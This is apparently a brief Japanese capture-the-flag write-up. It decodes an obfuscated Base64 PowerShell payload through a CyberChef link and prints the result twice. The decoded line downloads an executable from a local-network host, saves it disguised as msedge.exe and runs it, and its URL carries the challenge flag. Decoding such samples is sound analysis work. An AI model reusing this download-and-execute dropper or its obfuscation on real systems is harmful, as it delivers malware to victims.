https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Decode_text('UTF-16LE%20(1200)')&input=SkFCMUFEMEFKd0JvQUhRQUp3QXJBQ2NBZEFCd0FEb0FMd0F2QURFQU9RQXlBQzRBTVFBMkFEZ0FMZ0F3QUM0QU1RQTJBRG9BT0FBeUFEZ0FNZ0F2QUVJQU5nQTBBRjhBWkFCbEFHTUFKd0FyQUNjQWJ3QmtBR1VBWHdCU0FHc0FlQUJDQUZJQU13QjBBRVVBV1FCWUFHd0FNUUJpQUZZQU9RQXdBR0VBUndCc0FIb0FXQUFuQUNzQUp3QXlBR3dBZWdCWUFETUFUZ0JzQUZrQU13QktBR3dBWkFCR0FEa0FiUUJoQUZjQWVBQnNBR1lBVVFBbEFETUFKd0FyQUNjQVJBQWxBRE1BUkFBdkFHTUFhQUJoQUd3QWJBQmZBRzBBWlFCdEFGOEFjd0JsQUNjQUt3QW5BR0VBY2dCakFHZ0FMZ0JsQUNjQUt3QW5BSGdBWlFBbkFEc0FKQUIwQUQwQUp3QlhBR0VBYmdBbkFDc0FKd0JwQUZRQVpRQnRBQ2NBS3dBbkFIQUFKd0E3QUcwQWF3QmtBR2tBY2dBZ0FDMEFaZ0J2QUhJQVl3QmxBQ0FBSkFCbEFHNEFkZ0E2QUZRQVRRQlFBRndBTGdBdUFGd0FKQUIwQURzQWRBQnlBSGtBZXdCcEFIY0FjZ0FnQUNRQWRRQWdBQzBBVHdCMUFIUUFSZ0JwQUd3QVpRQWdBQ1FBWkFCY0FHMEFjd0JsQUdRQVp3QmxBQzRBWlFCNEFHVUFPd0FtQUNBQUpBQmtBRndBYlFCekFHVUFaQUJuQUdVQUxnQmxBSGdBWlFBN0FIMEFZd0JoQUhRQVl3Qm9BSHNBZlFBPQ
みたいな感じでデコードする。
$u='ht'+'tp://192.168.0.16:8282/B64_dec'+'ode_RkxBR3tEYXl1bV90aGlzX'+'2lzX3NlY3JldF9maWxlfQ%3'+'D%3D/chall_mem_se'+'arch.e'+'xe';$t='Wan'+'iTem'+'p';mkdir -force $env:TMP\..\$t;try{iwr $u -OutFile $d\msedge.exe;& $d\msedge.exe;}catch{}
をキレイにして
$u='http://192.168.0.16:8282/B64_decode_RkxBR3tEYXl1bV90aGlzX2lzX3NlY3JldF9maWxlfQ%3D%3D/chall_mem_search.exe'; $t='WaniTemp'; mkdir -force $env:TMP\..\$t; try{ iwr $u -OutFile $d\msedge.exe; & $d\msedge.exe; }catch{}